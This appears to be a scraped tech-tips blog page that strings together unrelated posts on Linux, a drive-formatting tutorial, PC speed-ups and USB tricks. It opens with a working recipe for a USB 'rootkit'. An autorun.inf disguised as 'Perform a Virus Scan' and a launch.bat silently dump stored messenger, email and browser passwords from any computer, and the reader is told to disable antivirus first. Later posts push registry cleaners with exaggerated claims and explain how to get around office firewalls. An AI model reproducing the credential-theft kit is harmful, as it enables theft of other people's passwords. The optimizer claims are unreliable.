4 Hack Password with ur Pen Drive

.
USB TRICKS:

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit.

MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0

Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…

PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.

Here is a step by step procedre to create the password hacking toolkit.

NOTE: You must temporarily disable your antivirus before following these steps.

1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.

ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe andpasswordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

save the Notepad and rename it from

New Text Document.txt to autorun.inf

Now copy the autorun.inf file onto your USB pendrive.

3. Create another Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

save the Notepad and rename it from

New Text Document.txt to launch.bat

Copy the launch.bat file also to your USB drive.

Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps

1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).

2. In the pop-up window, select the first option (Perform a Virus Scan).

3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.

This hack works on Windows 2000, XP and Vista

NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

1 Speed Up ur PC

.
Speed Up Your PC :

Are you fed up with your slow PC? Well you can Speed Up your PC by 3 times. In this post you’ll find some of the most significant ways to speed up your PC. For your convenience, I ’ll split this post into 2 parts.

1. Automatic Ways to Speed Up PC (Using PC Speed Up Softwares)

2. Manual Ways to Speed Up PC

Automatic Ways to Speed Up PC

You can use a PC Optimizer Tool to automatically boost the Speed of your PC without the need to worry about the manual ways of doing it. These tools will automatically find and fix upto 99% of your PC errors by optimizing the Windows registry, cleaning up junk files, removing unwanted items from the start up etc. This can speed up your PC and Internet speed by upto 3 times. Here are some of the best PC Optimizer Programs that I recommend.

1. Perfect Optimizer

2. Registry Easy

Using a PC Optimizer is the easiest way to speed up your PC. This is because, most of the performance tweaks such as Registry Cleanup cannot be done manually.

Manual Ways to Speed Up Your PC

1. Free Up Disk Space to increase the speed of your PC

* Remove temporary Internet files.
* Empty the Recycle Bin.
* Remove Windows temporary files.
* Uninstall Programs that you no longer use.

2. Periodically Perform Hard Disk Defragment. This can Speed Up your PC significantly.

3. Clean Up your Registry (Highly Recommended)

Cleaning Up your Windows Registry is very much necessary to speed up your PC. Unfortunately you cannot do this manually. You have to use a Registry Cleaner to do this. Here is the best registry cleaner on the web.

Registry Easy

A complete review of registry cleaners can be found at Registry Cleaner Comparison

4. Clean Up the browser cache to Speed Up your Internet.

5. Install a good Antispyware software

Spywares can really hurt the performance of your PC. So, install a good anti-spyware to protect your PC from spywares and improve the speed of your PC. I recommend the following Antispywares to protect your PC.

1. Spyware Cease

2. Nodware Anti-Spyware

Which is the Best Way to Speed Up my PC? (Auto or Manual)

The best way to speed Up your PC is by using a PC Optimizer such as Perfect Optimizeror Registry Easy. This is because, manual ways can only perform 30-40% of the tweaks to improve the speed of your PC, but the most important aspect of the Speed Up process such as Registry clean Up and other advanced performance tweaks can only be done using a PC Optimizer software. So if you are serious about improving the speed of your PC, then you need to use a PC Optimizer.

1 Choose 64bit or 32bit linux?

.
64bit or 32bit linux:

A common question that pops up from time to time is whether someone who has a 64-bit CPU (such as an AMD64 or an Intel EM64T) should download a 64-bit or 32-bit Linux distribution. Since these processors are capable of running either one at full native speeds, what are the advantages and disadvantages to both? Here I hope to address some common issues.

Speed – Without a scientific set of benchmarks this one is really hard to measure. Some people think one distribution “feels” faster than another while others disagree. Suffice to say that no one has yet to prove scientifically that the 64-bit versions of Linux available today are significantly faster in performance than their 32-bit counterparts. Most “64-bit” versions of software are actually just recompiled versions of the 32-bit code, with no optimization that would take advantage of the new features these chips offer and perhaps boost performance. If you’re looking to use 64-bit because you think it will be a major improvement in speed, I would reconsider.

Compatibility – Not all software runs on 64-bit Linux. Although there have been 64-bit native Linux distributions for several years (a year before Microsoft Windows XP64, but I digress), the software community has yet to fully embrace the technology. As of the time this post was written, there is no 64-bit version of the Macromedia Flash Plug-in for your web browser, for instance. WINE and the Java VM have been known to cause problems on some 64-bit installations as well. Not all hardware has 64-bit drivers yet. The two major display card manufacturers (ATI and Nvidia) do have X86_64 versions of their drivers, but they are sadly the exception rather than the norm.

RAM – If you plan on using a machine that has more than 4GB of RAM, you’ll need to use the 64-bit version of your distribution because 32-bit operating systems are only able to handle up to 4GB, maximum*. There’s just not enough memory addresses for more. This is usually not a problem for desktop users, but it might be a concern for servers or high-end workstations.

The “coolness” factor – As Apple Computer has proven in recent years, there’s an awful lot people will do just because something looks or feels “cool”. This is perhaps the one reason why some people choose to run 64-bit Linux: it’s a neat idea. To some people the idea of running a 64-bit native** operating system on their 64-bit CPU is just too cool to pass up. These people understand the drawbacks to running a bleeding-edge system and accept the extra work involved. If this describes you, more power to you.

So which should I choose? (29 July 2008) Over the last 2 years since I wrote this thread, a lot of progress has been made and I believe at this point that 64-bit Linux distributions are pretty much identical in performance and features as their 32-bit counterparts. I say “pretty much” because there’s still no native Flash player. There are ways around that. I’ve not had issues with Java in 64-bit in recent months, so progress was made there too.

That being said, the point I make in the beginning still stands: although 64-bit Linux distributions are now by and large on-par with their 32-bit brethren, they do not yet surpass them in performance. You’re not running at as much of a deficit with 64-bit two years later, but you still don’t quite have an advantage either. Now, I think, rather than strongly suggesting 32-bit I could say either will work, but neither has any significant advantage over the other. It’s more a matter of personal preference.

* NOTE: The 32-bit Linux kernel can be recompiled to handle up to 64GB of RAM if you’re particularly concerned about staying 32-bit.

** NOTE: Although 64-bit Linux distributions do include a natively-compiled Linux kernel and several natively-compiled key applications, not every package in a 64-bit Linux distribution is 64-bit. The 32-bit library files and many 32-bit applications still exist and are used on a regular basis, so the idea that a 64-bit distribution is “native” is really a misnomer.

2 Ubuntu 2010 Review

.
Ubuntu 2010 Unleashed:

Irritated with my Desktop after an upgrade gone bad and an incident with the nvidia noveau driver that left me x less, I decided it was time to re-install. I turned to my bookshelf to find Ubuntu Unleashed 2010 Edition. Normally by the time a book hits my shelf the material is outdated, not necessarily useless, just not the most up to date. This is an exception. The Ubuntu Unleashed 2010 Edition was updated with an Ubuntu 9.10 DVD and a “Free Upgrade to Ubuntu 10.04? which I found out that if you buy the book before the end of 2010 you can get an upgrade kit in the mail.

So, I pop the DVD in the drive and start the installation. Nothing new here for anyone that has installed Linux or Ubuntu recently; for those that haven’t, it was a pleasant surprise to see that it actually detected my high resolution monitor and used it to its advantage. It really is strange to not have to squint at an installer. The first chapter covers the step by step installation in more detail which is relatively short and easy to follow. Most people should not need to read this if they are familiar with installing an operating system but it I think it is good to have it there. Just don’t let this first chapter prevent you from looking further into this book. After putting the DVD in and getting it started, I found myself reading the book through the entire installation; which for some reason got from 0-90% quickly, then took the majority of the time in the 90% range, but I’m not complaining.

The Authors really did a good job of writing in an understandable language and organizing the book in a logical format. I’ve found myself flipping through and finding many golden nuggets of information. I personally would not have picked this book up because of the title, since I’m not a big Ubuntu user. But Ubuntu Unleashed 2010 edition is packed full of information, 32 chapters and a hefty appendix to be exact. It is not all Ubuntu – specific either, meaning most of the content should work on just about distribution. This book would not be rendered useless if you don’t decide to go the Ubuntu route. I recommend taking a look at the contents and buying this book, as I’m sure you’ll be pleasantly surprised at the topics it covers. I think it would be a great book for someone that is interested in Linux in general, it reads well but can also be used as a quick reference. I wish I had a book like this when I was getting started, it would have saved me a whole lot of time and effort. I have set aside some of the more advanced chapters and made a note to read later.

Other reviews I’ve read have said that it has too much terminal use in it, which is something Ubuntu is trying to eliminate. While this may be true, if you want the most out of your Linux distribution, the fact is you will at some point use a terminal. Commands are less likely to change as much as graphical interfaces. Although some things may be slightly outdated I don’t think that this book should be re-written, as it is in the nature of open source and technology to change. If you keep this in mind I don’t think you’ll be disappointed with it.

2 Format Drive in Linux

.
Tutorial:
Step 1
When you format a computer hard drive, you will lose everything that is on the drive. Therefore it is very important to back up anything you might later want.
Step 2
In order to format a secondary drive you will need root access. All commands used in this tutorial are run from a command line (terminal) as root. You may also want to make note of the size (total capacity in MB) of the drive.
Step 3
Linux refers to hard drives as either “hdx” or “sdx” where x is a letter, starting with a, which represents the order in which the drive was added to or detected by the computer. The “hd” prefix is used for IDE and PATA (formerly just ATA), and the “sd” prefix is used for SCSI, SATA, and USB drives. Usually a number is also put at the end of “hdx” or “sdx” to denote different partitions on the same phisical drive, but for the purpose of formatting you only need to know which letter the drive you want to format is.
Step 4
The examples given in this how-to are for a computer with two IDE hard drives attached as a master and slave. In this, the drives are “hda” and “hdb.” You will need to determine the letter of drive you want to format for your own setup. We will be formatting the drive hdb. For all examples, replace “hdb” with whatever your drive designation is.
Step 5
You can see all the drives attached to you system by typing the command “ls /dev/hd*” or “ls /dev/sd*” depending on which type (IDE, SATA, etc.) the drives are. On the example system the result of this command looks like “/dev/hda /dev/hda1 /dev/hda2 /dev/hdb /dev/hdb1″ The operating system is installed on hda, which has two partitions (hda1 and hda2), and there is one partition on hdb and hdb1.
Using fdisk

Step 1
First you will use the fdisk command to erase any old partitions on the drive and create a new one. Any changes you make using fdisk are only made permanent if you then issue the “w” command before quitting, so feel free to play around a little if you like. If at any time you find yourself stuck, you can quit the program without saving changes by holding the “Ctrl” key and pressing “c.”
Step 2
At the command prompt, type “fdisk /dev/hdb” replacing the “hdb” with the letters for your drive. Upon opening, fdisk may give you a couple of warnings, all of which can be ignored. It then gives you a prompt that looks like this: Command (m for help):
Step 3
Enter “p” to see the partition table of the drive. The first line of output from the “p” command will also tell you size of the drive. This is a good way to double check that you are working with the correct drive.
Step 4
If there are any partitions already on the drive they will be listed as the last lines of the “p” command. On our example, this looks like “/dev/hdb1″ followed by some information about the partition’s size and file system.
Step 5
To delete any existing partitions, press “d” then enter. It will ask you which partition number you wish to delete. The number of the partition is the number that follows hdb, so on our example system we enter 1. If there are multiple partitions repeat the “d” command for each one. You can always view the partition table again with the “p” command.
Step 6
Once you have deleted all existing partitions on the drive you are ready to make a new one. Type “n” and hit enter. Then press “p” to create a primary partition. It asks you for a partition number, enter “1.” Now you are asked which cylinder the partition should start at, the beginning of the drive is the default, so just hit Enter. Then you are asked for the last cylinder, the end of the drive is default so you can just press Enter again.
Step 7
Now you are back at fdisk’s command prompt. Use the “p” command to check the partition table. You should now see your new partition at the bottom of the output. In the example it lists “/dev/hdb1.”
Step 8
You now need to set the filesystem type for your new partition with the “t” command. You are asked for the Hex code of the filesystem you wish to use. We wll use the standard Linux ext2 filesystem which is “83.” If you are doing something special and know of a particular filesystem that you need to use, you can press “L” to see all the codes, which are one or two characters made up of the numbers 0-9 and the letters a-f.
Step 9
Now just issue the “w” command to write your new partition table and exit fdisk.
Creating the New File System with mkfs

Step 1
Now you need to create the filesystem on the drive. This is done with the “mkfs” command.
Step 2
At the command prompt, enter “mkfs -t ext2 /dev/hdb1″ while remembering to change the hdb1 to whatever the letters are for the partition you just created.
Step 3
If you are using a different filesystem than ext2, you will have to specify that where “ext2″ is in the above command.
Finalizing the Format with fsck

Step 1
All that is left is to run a check on the drive and enter it into your fstab so that the drive mounts each time you start your computer. This can be done with a single fsck command.
Step 2
At the command prompt, type “fsck -f -y /dev/hdb1″ again replacing hdb1 with the letters and number for your partition.
Step 3
After fsck runs, your new drive is formatted. Restart your system before using it.
Step 4
If you reformatted your system drive, you will now need to boot off an installation disk to install an Operating system.

0 Pen Drive Tricks!!!

.
Take your programs with you

We all know how frustrating it is when we take your files to another computer just to discover that the software required to read the files is not installed.

Here’s the simplest solution – take your programs with you – on your USB thumb drive. Here’s how to do it with Portable Apps:

1. Go to the Portable Apps website and download the installer, choosing the software you want to carry along.

2. Run the installer and install the software to the root of your USB thumb drive.

And you’re done! As soon as you connect your thumb drive into a computer, Portable Apps will open up automatically.

Surf anonymously

With Portable Apps and Firefox, you can surf the web without leaving any trace on the computer you are using. If you want extra security, install a Firefox security plugin such as FoxyProxy. To iput Firefox onto the drive, just copy-paste the Firefox folder from you computer, or install Firefox onto the thumb drive.

Set a program to run automatically (autorun)

Using autorun, you can set a program to start up automatically when you connect the drive to a computer. You can also use the same script for a data CD-ROM. Note that some computers have autorun disabled for security purposes. [Here's how to disable autorun.]

Open up notepad and paste the following script:

[autorun]

ShellExecute=filename

Label=description

UseAutoPlay=1

Make sure you replace filename with the full path to the file. For example, a file called program.exe in a folder called “programs” on the thumb drive would be /programs/program.exe

Replace description with a short description of the program, for example, My Jukebox or Mozilla Firefox.

Save the file as autorun.inf, making sure you select “All Programs” from the save menu, not “Text document”!

Secure your PC

Just like with an RFID badge, you can use a USB drive to lock and unlock a PC. Insert it to begin working and pull it out when you’ve finished, locking the computer. There are several programs for this . Rohos, a commercial program and WiKID, a semi-open source one.

If you really need to secure your computer with a USB drive, I suggest you give Rohos a try, as WiKID is rather complicated.

Encrypt your data

If you carry any sensitive indormation on your USB memory stick, a good idea is to encrypt it. Hardware-level encryption will help, but it will cost extra. You can get a free program to encrypt your data just as securely. For this I recommend TrueCrypt, but most others will also do.

You will need admin access on the computer you want to use your encrypted thumb drive on, so this it’s usability a little.

0 Unblock your G-talk n G-mail

.
Unblock your G-talk n G-mail:

I Knew many of ma friends who are working all around the world and in some IT companies, cannot acces to gtalk or gmail and feel harder to chat with their fellow mates and friends through other sites n so on. Which reall makes them unhappy. SO here i have Explained how to overcome this.

Google Talk (GTalk) – If you are not allowed to install the GTalk IM client on your computer, there’s a better web based version of Google Talk available at talkgadget.google.com – open this page in your web browser, sign-in with your Gmail user/password and start chatting with friends who are online. You can even group chat with multiple contacts, a feature that’s missing in the desktop version of Google Talk.

Gmail (Google Email) – There are multiple ways to check your Gmail email in the office. The first option is to create a Gmail filter, an option that’s available right near the search box in Gmail. Type your email address in the To: box and then select “Forward all incoming email”. You can select any other email service that’s accessible from office and Gmail will auto-forward all incoming email to this address.

The other option is to use Gmail RSS Feeds. You can use Google Reader, Newsgator, Bloglines or any other newreader and add a new feed with the URL https://mail.google.com/mail/feed/atom – then submit your Gmail address and password. All new messages can now be read inside your RSS reader.

Google Web Search – If Google.com web search itself is blocked in your office, you can try other alternatives like www.jux2.com or www.aftervote.com which offer search results from Google. Another option is to use googlesyndicatedsearch.com which is the same as google.com but on a different server that’s probably safe from your corporate firewa.
